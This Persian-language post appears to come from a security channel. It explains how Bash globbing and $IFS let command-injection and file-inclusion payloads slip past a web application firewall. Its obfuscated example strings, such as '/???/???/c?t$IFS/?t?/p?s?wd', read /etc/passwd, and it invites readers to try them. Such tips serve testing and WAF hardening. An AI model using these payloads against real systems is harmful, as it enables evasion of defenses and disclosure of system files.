⌨ بایپس فایروال برنامه وب (WAF) با globbing
Bash
می تواند جایگزینی نام فایل را انجام دهد، پروسسی به نام "globbing"، اما از مجموعه استاندارد عبارات منظم استفاده نمی کند.
اگر یک WAF (فایروال برنامه وب) وجود دارد که پیلودهای RCE (اجرای کد از راه دور) و LFI (شامل فایل محلی) را فیلتر می کند، می توانید با جایگزینی آن را دور بزنید.
به عنوان مثال:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
? = هر شخصیت واحد
* = هر رشته ای، از جمله یک رشته با طول صفر!
$IFS =
جداکننده فیلد داخلی در سیستم های یونیکس = فضا، تب یا خط جدید
به عنوان مثال، تمام ورودی های زیر باید "/bin/cat /etc/passwd" را در یک سیستم لینوکس معمولی انجام دهند:
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/**/?at$IFS/???/**swd
می تونی امتحان کنی!
#web
@pfksecurity
Post #202
787
- 👍 4